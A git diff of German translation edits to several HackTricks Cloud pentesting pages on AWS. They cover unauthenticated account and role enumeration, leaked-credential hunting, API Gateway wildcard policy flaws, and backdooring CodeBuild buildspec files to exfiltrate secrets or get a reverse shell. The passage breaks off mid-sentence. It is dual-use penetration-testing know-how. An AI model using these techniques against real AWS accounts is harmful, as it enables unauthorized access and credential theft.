Sie können die Zustandsmaschine aktualisieren und eine neue Version veröffentlichen oder die gewünschte Version der Zustandsmaschine verwenden. -- **Aliase**: Diese Zeiger können auf bis zu zwei Versionen derselben Zustandsmaschine verweisen. Mehrere Aliase können für eine einzelne Zustandsmaschine erstellt werden, die jeweils durch eine eindeutige ARN identifiziert werden, die die ARN der Zustandsmaschine mit dem Aliasnamen kombiniert, getrennt durch einen Doppelpunkt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliase ermöglichen das Routing des Datenverkehrs zwischen einer der beiden Versionen einer Zustandsmaschine. Alternativ kann ein Alias auf eine einzelne spezifische Version der Zustandsmaschine verweisen, jedoch nicht auf andere Aliase. Sie können aktualisiert werden, um auf eine andere Version der Zustandsmaschine umzuleiten, wenn dies erforderlich ist, was kontrollierte Bereitstellungen und Workflow-Management erleichtert. +- **Aliase**: Diese Zeiger können auf bis zu zwei Versionen derselben Zustandsmaschine verweisen. Mehrere Aliase können für eine einzelne Zustandsmaschine erstellt werden, die jeweils durch eine eindeutige ARN identifiziert werden, die die ARN der Zustandsmaschine mit dem Aliasnamen kombiniert, getrennt durch einen Doppelpunkt (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliase ermöglichen das Routing des Datenverkehrs zwischen einer der beiden Versionen einer Zustandsmaschine. Alternativ kann ein Alias auf eine bestimmte Version der Zustandsmaschine verweisen, jedoch nicht auf andere Aliase. Sie können aktualisiert werden, um auf eine andere Version der Zustandsmaschine umzuleiten, wenn dies erforderlich ist, was kontrollierte Bereitstellungen und Workflow-Management erleichtert. Für detailliertere Informationen über **ASL** siehe: [**Amazon States Language**](https://states-language.net/spec.html). @@ -299,7 +299,7 @@ aws stepfunctions list-executions --map-run-arn [--status-filter --token-code ``` ### Privesc -In der folgenden Seite kannst du überprüfen, wie man **STS-Berechtigungen missbraucht, um Privilegien zu eskalieren**: +Auf der folgenden Seite können Sie überprüfen, wie man **STS-Berechtigungen missbraucht, um Privilegien zu eskalieren**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index b82cfc354..d074ac5b6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,7 +6,7 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** ist ein vollständig verwalteter, **serverloser Scheduler, der entwickelt wurde, um Aufgaben** in großem Maßstab zu erstellen, auszuführen und zu verwalten. Er ermöglicht es Ihnen, Millionen von Aufgaben über mehr als 270 AWS-Dienste und 6.000+ API-Operationen hinweg zu planen, alles von einem zentralen Dienst aus. Mit integrierter Zuverlässigkeit und ohne Infrastrukturverwaltung vereinfacht der EventBridge Scheduler die Planung, reduziert die Wartungskosten und skaliert automatisch, um der Nachfrage gerecht zu werden. Sie können Cron- oder Ratenausdrücke für wiederkehrende Zeitpläne konfigurieren, einmalige Aufrufe festlegen und flexible Lieferfenster mit Wiederholungsoptionen definieren, um sicherzustellen, dass Aufgaben zuverlässig basierend auf der Verfügbarkeit der nachgelagerten Ziele geliefert werden. +**Amazon EventBridge Scheduler** ist ein vollständig verwalteter, **serverloser Scheduler, der entwickelt wurde, um Aufgaben** in großem Maßstab zu erstellen, auszuführen und zu verwalten. Er ermöglicht es Ihnen, Millionen von Aufgaben über mehr als 270 AWS-Dienste und 6.000+ API-Operationen von einem zentralen Dienst aus zu planen. Mit integrierter Zuverlässigkeit und ohne Infrastrukturverwaltung vereinfacht der EventBridge Scheduler die Planung, senkt die Wartungskosten und skaliert automatisch, um der Nachfrage gerecht zu werden. Sie können Cron- oder Ratenausdrücke für wiederkehrende Zeitpläne konfigurieren, einmalige Aufrufe festlegen und flexible Lieferfenster mit Wiederholungsoptionen definieren, um sicherzustellen, dass Aufgaben zuverlässig basierend auf der Verfügbarkeit der nachgelagerten Ziele geliefert werden. Es gibt ein anfängliches Limit von 1.000.000 Zeitplänen pro Region und Konto. Selbst die offizielle Quoten-Seite empfiehlt: "Es wird empfohlen, einmalige Zeitpläne zu löschen, sobald sie abgeschlossen sind." @@ -20,31 +20,31 @@ Arten von Zeitplänen im EventBridge Scheduler: Zwei Mechanismen zur Handhabung fehlgeschlagener Ereignisse: -1. **Wiederholungsrichtlinie** – Definiert die Anzahl der Wiederholungsversuche für ein fehlgeschlagenes Ereignis und wie lange es unbearbeitet bleibt, bevor es als Fehler betrachtet wird. +1. **Wiederholungsrichtlinie** – Definiert die Anzahl der Wiederholungsversuche für ein fehlgeschlagenes Ereignis und wie lange es unprocessed bleiben soll, bevor es als Fehler betrachtet wird. 2. **Dead-Letter Queue (DLQ)** – Eine Standard-Amazon SQS-Warteschlange, in der fehlgeschlagene Ereignisse nach Erschöpfung der Wiederholungen geliefert werden. DLQs helfen bei der Fehlersuche bei Problemen mit Ihrem Zeitplan oder dessen nachgelagertem Ziel. ### Ziele -Es gibt 2 Arten von Zielen für einen Scheduler [**vorlagenbasiert (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), die häufig verwendet werden und die AWS einfacher konfiguriert hat, und [**universell (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), die verwendet werden können, um jede AWS-API aufzurufen. +Es gibt 2 Arten von Zielen für einen Scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), die häufig verwendet werden und die AWS einfacher konfiguriert hat, und [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), die verwendet werden können, um jede AWS-API aufzurufen. -**Vorlagenbasierte Ziele** unterstützen die folgenden Dienste: +**Templated targets** unterstützen die folgenden Dienste: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask -- Parameter: EcsParameters +- Parameters: EcsParameters - EventBridge – PutEvents -- Parameter: EventBridgeParameters +- Parameters: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord -- Parameter: KinesisParameters +- Parameters: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution -- Parameter: SageMakerPipelineParameters +- Parameters: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage -- Parameter: SqsParameters +- Parameters: SqsParameters - Step Functions – StartExecution ### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index cf86f166b..6ba9d1c02 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,40 +1,40 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Unauthentifizierte Enum & Zugriff {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## AWS Anmeldeinformationen Leaks -Eine gängige Methode, um Zugang oder Informationen über ein AWS-Konto zu erhalten, besteht darin, nach **Leaks** zu **suchen**. Sie können nach Leaks suchen, indem Sie **Google Dorks** verwenden, die **öffentlichen Repos** der **Organisation** und der **Mitarbeiter** der Organisation in **Github** oder anderen Plattformen überprüfen, in **Datenbanken für Credentials-Leaks** suchen... oder an jedem anderen Ort, an dem Sie Informationen über das Unternehmen und seine Cloud-Infrastruktur finden könnten.\ +Eine gängige Methode, um Zugriff oder Informationen über ein AWS-Konto zu erhalten, besteht darin, nach **Lecks** zu **suchen**. Sie können nach Lecks suchen, indem Sie **Google Dorks** verwenden, die **öffentlichen Repos** der **Organisation** und der **Mitarbeiter** der Organisation in **Github** oder anderen Plattformen überprüfen, in **Datenbanken für Anmeldeinformationen** suchen... oder an jedem anderen Ort, an dem Sie Informationen über das Unternehmen und seine Cloud-Infrastruktur finden könnten.\ Einige nützliche **Tools**: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## AWS Unauthentifizierte Enum & Zugriff -Es gibt mehrere Dienste in AWS, die so konfiguriert werden könnten, dass sie irgendeine Art von Zugang für das gesamte Internet oder für mehr Personen als erwartet gewähren. Überprüfen Sie hier, wie: +Es gibt mehrere Dienste in AWS, die so konfiguriert werden könnten, dass sie irgendeine Art von Zugriff für das gesamte Internet oder für mehr Personen als erwartet gewähren. Überprüfen Sie hier, wie: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Accounts Unauthentifizierte Enum**](aws-accounts-unauthenticated-enum.md) +- [**Cloud9 Unauthentifizierte Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cloudfront Unauthentifizierte Enum**](aws-cloudfront-unauthenticated-enum.md) +- [**Cloudsearch Unauthentifizierte Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Cognito Unauthentifizierte Enum**](aws-cognito-unauthenticated-enum.md) +- [**DocumentDB Unauthentifizierte Enum**](aws-documentdb-enum.md) +- [**EC2 Unauthentifizierte Enum**](aws-ec2-unauthenticated-enum.md) +- [**Elasticsearch Unauthentifizierte Enum**](aws-elasticsearch-unauthenticated-enum.md) +- [**IAM Unauthentifizierte Enum**](aws-iam-and-sts-unauthenticated-enum.md) +- [**IoT Unauthentifizierter Zugriff**](aws-iot-unauthenticated-enum.md) +- [**Kinesis Video Unauthentifizierter Zugriff**](aws-kinesis-video-unauthenticated-enum.md) +- [**Media Unauthentifizierter Zugriff**](aws-media-unauthenticated-enum.md) +- [**MQ Unauthentifizierter Zugriff**](aws-mq-unauthenticated-enum.md) +- [**MSK Unauthentifizierter Zugriff**](aws-msk-unauthenticated-enum.md) +- [**RDS Unauthentifizierter Zugriff**](aws-rds-unauthenticated-enum.md) +- [**Redshift Unauthentifizierter Zugriff**](aws-redshift-unauthenticated-enum.md) +- [**SQS Unauthentifizierter Zugriff**](aws-sqs-unauthenticated-enum.md) +- [**S3 Unauthentifizierter Zugriff**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Cross Account Angriffe In dem Vortrag [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) wird präsentiert, wie einige Dienste es **jedem AWS-Konto** ermöglichten, auf sie zuzugreifen, weil **AWS-Dienste ohne Angabe von Konten-ID** erlaubt waren. @@ -42,13 +42,13 @@ Während des Vortrags werden mehrere Beispiele angegeben, wie S3-Buckets, die ** ![](<../../../images/image (260).png>) -Andere Dienste, die als anfällig gefunden wurden: +Weitere Dienste, die als anfällig gefunden wurden: - AWS Config -- Serverless-Repository +- Serverless Repository ## Tools -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-Cloud-OSINT-Tool. **Finden Sie öffentliche Ressourcen** in AWS, Azure und Google Cloud. Unterstützte AWS-Dienste: Offene / Geschützte S3-Buckets, awsapps (WorkMail, WorkDocs, Connect usw.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-Cloud OSINT-Tool. **Finden Sie öffentliche Ressourcen** in AWS, Azure und Google Cloud. Unterstützte AWS-Dienste: Offene / Geschützte S3-Buckets, awsapps (WorkMail, WorkDocs, Connect usw.) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index fbd16e620..2a55fe27c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Accounts Unauthenticated Enum +# AWS - Konten Unauthenticated Enum {{#include ../../../banners/hacktricks-training.md}} @@ -16,15 +16,15 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Du kannst [diesen Prozess mit diesem Tool automatisieren](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Suchen Sie nach URLs, die `.signin.aws.amazon.com` mit einem **Alias, der mit der Organisation verbunden ist,** enthalten. +Suche nach URLs, die `.signin.aws.amazon.com` mit einem **Alias, der mit der Organisation verbunden ist,** enthalten. ### Marketplace -Wenn ein Anbieter **Instanzen im Marketplace hat,** können Sie die Eigentümer-ID (Kontonummer) des AWS-Kontos, das er verwendet hat, erhalten. +Wenn ein Anbieter **Instanzen im Marketplace hat,** kannst du die Besitzer-ID (Konto-ID) des AWS-Kontos, das er verwendet hat, erhalten. ### Snapshots @@ -32,7 +32,7 @@ Wenn ein Anbieter **Instanzen im Marketplace hat,** können Sie die Eigentümer- - RDS-öffentliche Snapshots (RDS -> Snapshots -> Alle öffentlichen Snapshots) - Öffentliche AMIs (EC2 -> AMIs -> Öffentliche Bilder) -### Errors +### Fehler Viele AWS-Fehlermeldungen (sogar Zugriff verweigert) geben diese Informationen preis. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 1731c19f8..2b6eb95a6 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -19,11 +19,11 @@ Laut dem Vortrag [Attack Vectors for APIs Using AWS API Gateway Lambda Authorize ] } ``` -Das Problem mit dieser Art, Berechtigungen zum Aufrufen von Endpunkten zu erteilen, ist, dass das **"\*" "alles" impliziert** und **keine weiteren Regex-Syntax unterstützt** wird. +Das Problem mit dieser Methode, Berechtigungen zum Aufrufen von Endpunkten zu erteilen, ist, dass das **"\*" "alles" impliziert** und **keine weiteren Regex-Syntax unterstützt** wird. Einige Beispiele: -- Eine Regel wie `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, um jedem Benutzer Zugriff auf `/dashboard/user/{username}` zu gewähren, gewährt ihnen Zugriff auf andere Routen wie `/admin/dashboard/createAdmin`, zum Beispiel. +- Eine Regel wie `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, um jedem Benutzer Zugriff auf `/dashboard/user/{username}` zu gewähren, gibt ihnen auch Zugriff auf andere Routen wie `/admin/dashboard/createAdmin`, zum Beispiel. > [!WARNING] > Beachten Sie, dass **"\*" nicht aufhört, sich mit Schrägstrichen zu erweitern**, daher könnte die Verwendung von "\*" im api-id beispielsweise auch "irgendeine Stufe" oder "irgendeine Methode" anzeigen, solange der endgültige Regex weiterhin gültig ist.\ diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index ab362463a..03221b3b0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -12,9 +12,9 @@ Für weitere Informationen siehe diese Seite: ### buildspec.yml -Wenn Sie Schreibzugriff auf ein Repository mit einer Datei namens **`buildspec.yml`** erlangen, könnten Sie diese Datei **hintertüren**, die die **Befehle angibt, die innerhalb eines CodeBuild-Projekts ausgeführt werden**, und die Geheimnisse exfiltrieren, was durchgeführt wird, und auch die **CodeBuild IAM-Rollenanmeldeinformationen** gefährden. +Wenn Sie Schreibzugriff auf ein Repository mit einer Datei namens **`buildspec.yml`** erlangen, könnten Sie diese Datei **backdoor** und die **Befehle, die innerhalb eines CodeBuild-Projekts ausgeführt werden sollen**, spezifizieren sowie die Geheimnisse exfiltrieren, was durchgeführt wird, und auch die **CodeBuild IAM-Rollenanmeldeinformationen** gefährden. -Beachten Sie, dass selbst wenn es keine **`buildspec.yml`**-Datei gibt, Sie aber wissen, dass Codebuild verwendet wird (oder ein anderes CI/CD), das **Ändern von legitimen Code**, der ausgeführt werden soll, Ihnen auch beispielsweise eine Reverse-Shell verschaffen kann. +Beachten Sie, dass selbst wenn es keine **`buildspec.yml`**-Datei gibt, Sie aber wissen, dass Codebuild verwendet wird (oder ein anderes CI/CD), das **Ändern von legitimen Code**, der ausgeführt werden soll, Ihnen ebenfalls beispielsweise eine Reverse-Shell verschaffen kann. Für einige verwandte Informationen könnten Sie die Seite über den Angriff auf Github Actions (ähnlich wie diese) überprüfen: @@ -22,12 +22,12 @@ Für einige verwandte Informationen könnten Sie die Seite über den Angriff auf ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Selbstgehostete GitHub Actions-Runner in AWS CodeBuild +## Selbstgehostete GitHub Actions-Runners in AWS CodeBuild -Wie [**in den Dokumenten angegeben**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), ist es möglich, **CodeBuild** so zu konfigurieren, dass **selbstgehostete Github-Aktionen** ausgeführt werden, wenn ein Workflow in einem konfigurierten Github-Repo ausgelöst wird. Dies kann durch Überprüfung der CodeBuild-Projektkonfiguration erkannt werden, da der **`Ereignistyp`** enthalten sein muss: **`WORKFLOW_JOB_QUEUED`** und in einem Github-Workflow, da er einen **selbstgehosteten** Runner wie folgt auswählen wird: +Wie [**in den Dokumenten angegeben**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), ist es möglich, **CodeBuild** so zu konfigurieren, dass **selbstgehostete Github-Aktionen** ausgeführt werden, wenn ein Workflow in einem konfigurierten Github-Repo ausgelöst wird. Dies kann durch Überprüfung der CodeBuild-Projektkonfiguration erkannt werden, da der **`Event type`** enthalten sein muss: **`WORKFLOW_JOB_QUEUED`** und in einem Github-Workflow, da er einen **selbstgehosteten** Runner wie folgt auswählen wird: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` -Diese neue Beziehung zwischen Github Actions und AWS schafft eine weitere Möglichkeit, AWS von Github aus zu kompromittieren, da der Code in Github in einem CodeBuild-Projekt mit einer angehängten IAM-Rolle ausgeführt wird. +Diese neue Beziehung zwischen Github Actions und AWS schafft eine weitere Möglichkeit, AWS über Github zu kompromittieren, da der Code in Github in einem CodeBuild-Projekt mit einer angehängten IAM-Rolle ausgeführt wird. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 0bbb3df53..f977073a0 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## Unauthenticated Cognito -Cognito ist ein AWS-Dienst, der Entwicklern ermöglicht, **ihren App-Nutzern Zugang zu AWS-Diensten** zu gewähren. Entwickler werden **IAM-Rollen an authentifizierte Benutzer** in ihrer App vergeben (potenziell können sich Personen einfach anmelden) und sie können auch eine **IAM-Rolle an nicht authentifizierte Benutzer** vergeben. +Cognito ist ein AWS-Dienst, der Entwicklern ermöglicht, **ihren App-Nutzern Zugriff auf AWS-Dienste zu gewähren**. Entwickler gewähren **IAM-Rollen für authentifizierte Benutzer** in ihrer App (potenziell können sich Personen einfach anmelden) und sie können auch eine **IAM-Rolle für nicht authentifizierte Benutzer** gewähren. Für grundlegende Informationen über Cognito siehe: @@ -14,8 +14,8 @@ Für grundlegende Informationen über Cognito siehe: ### Identity Pool ID -Identity Pools können **IAM-Rollen an nicht authentifizierte Benutzer** vergeben, die nur **die Identity Pool ID** kennen (was ziemlich häufig **zu finden** ist), und ein Angreifer mit diesen Informationen könnte versuchen, **auf diese IAM-Rolle** zuzugreifen und sie auszunutzen.\ -Darüber hinaus könnten IAM-Rollen auch an **authentifizierte Benutzer** vergeben werden, die auf den Identity Pool zugreifen. Wenn ein Angreifer **einen Benutzer registrieren** kann oder bereits **Zugriff auf den Identitätsanbieter** hat, der im Identity Pool verwendet wird, könnte er auf die **IAM-Rolle zugreifen, die authentifizierten** Benutzern zugewiesen ist und deren Berechtigungen missbrauchen. +Identity Pools können **IAM-Rollen für nicht authentifizierte Benutzer** gewähren, die nur **die Identity Pool ID kennen** (was ziemlich häufig **zu finden** ist), und ein Angreifer mit diesen Informationen könnte versuchen, **auf diese IAM-Rolle zuzugreifen** und sie auszunutzen.\ +Darüber hinaus könnten IAM-Rollen auch **authentifizierten Benutzern** zugewiesen werden, die auf den Identity Pool zugreifen. Wenn ein Angreifer **einen Benutzer registrieren** kann oder bereits **Zugriff auf den Identitätsanbieter** hat, der im Identity Pool verwendet wird, könnte er auf die **IAM-Rolle zugreifen, die authentifizierten** Benutzern zugewiesen ist und deren Berechtigungen missbrauchen. [**Überprüfen Sie hier, wie das geht**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 6b73b60a4..c93c68013 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -12,7 +12,7 @@ ### Öffentliche Ports -Es ist möglich, **irgendeinen Port der virtuellen Maschinen ins Internet zu exponieren**. Je nachdem, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen. +Es ist möglich, **jeden Port der virtuellen Maschinen ins Internet zu exponieren**. Abhängig davon, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen. #### SSRF diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 4652fad03..3516f6a90 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -10,9 +10,9 @@ Für weitere Informationen siehe: ../aws-services/aws-ecr-enum.md {{#endref}} -### Öffentliche Registrierungs-Repositorys (Bilder) +### Öffentliche Registrierungsrepositories (Bilder) -Wie im Abschnitt ECS Enum erwähnt, ist ein öffentliches Repository **für jeden zugänglich** und verwendet das Format **`public.ecr.aws//`**. Wenn ein Angreifer eine URL eines öffentlichen Repositorys findet, könnte er **das Bild herunterladen und nach sensiblen Informationen** in den Metadaten und dem Inhalt des Bildes suchen. +Wie im Abschnitt ECS Enum erwähnt, ist ein öffentliches Repository **für jeden zugänglich** und verwendet das Format **`public.ecr.aws//`**. Wenn ein Angreifer eine URL zu einem öffentlichen Repository findet, könnte er **das Bild herunterladen und nach sensiblen Informationen** in den Metadaten und dem Inhalt des Bildes suchen. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` @@ -21,7 +21,7 @@ aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `tru ### Private Repo auflisten -Die Tools [**skopeo**](https://github.com/containers/skopeo) und [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) können verwendet werden, um zugängliche Repositories innerhalb einer privaten Registrierung aufzulisten. +Die Tools [**skopeo**](https://github.com/containers/skopeo) und [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) können verwendet werden, um zugängliche Repositories innerhalb einer privaten Registrierungsstelle aufzulisten. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 246c34a1e..e4c0d60ea 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -12,7 +12,7 @@ Für weitere Informationen siehe: ### Webanfälligkeit -Beachte, dass standardmäßig Beanstalk-Umgebungen **Metadatav1 deaktiviert** haben. +Beachten Sie, dass standardmäßig Beanstalk-Umgebungen **Metadatav1 deaktiviert** haben. Das Format der Beanstalk-Webseiten ist **`https://-env..elasticbeanstalk.com/`** diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index 22cec3a68..8240fd900 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -7,7 +7,7 @@ ### ~~Rolle annehmen Brute-Force~~ > [!CAUTION] -> **Diese Technik funktioniert** nicht mehr, da Sie immer diese Fehlermeldung erhalten, unabhängig davon, ob die Rolle existiert oder nicht: +> **Diese Technik funktioniert nicht** mehr, da Sie, unabhängig davon, ob die Rolle existiert oder nicht, immer diese Fehlermeldung erhalten: > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > @@ -19,17 +19,17 @@ Der Versuch, **eine Rolle ohne die erforderlichen Berechtigungen anzunehmen**, l ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -Diese Nachricht bestätigt die Existenz der Rolle, zeigt jedoch an, dass ihre Assume-Rollenrichtlinie Ihre Annahme nicht erlaubt. Im Gegensatz dazu führt der Versuch, **eine nicht existierende Rolle anzunehmen, zu einem anderen Fehler**: +Diese Nachricht bestätigt die Existenz der Rolle, weist jedoch darauf hin, dass ihre Assume-Rolle-Policy Ihre Annahme nicht zulässt. Im Gegensatz dazu führt der Versuch, **eine nicht existierende Rolle anzunehmen, zu einem anderen Fehler**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` Interessanterweise ist diese Methode des **Unterscheidens zwischen bestehenden und nicht bestehenden Rollen** sogar über verschiedene AWS-Konten hinweg anwendbar. Mit einer gültigen AWS-Konto-ID und einer gezielten Wortliste kann man die im Konto vorhandenen Rollen auflisten, ohne auf inhärente Einschränkungen zu stoßen. -Sie können dieses [Skript verwenden, um potenzielle Principals aufzulisten](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), das dieses Problem ausnutzt. +Sie können dieses [Skript verwenden, um potenzielle Principals aufzulisten](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum), indem Sie dieses Problem ausnutzen. ### Vertrauensrichtlinien: Brute-Force über Konten hinweg Rollen und Benutzer -Die Konfiguration oder Aktualisierung der **Vertrauensrichtlinie einer 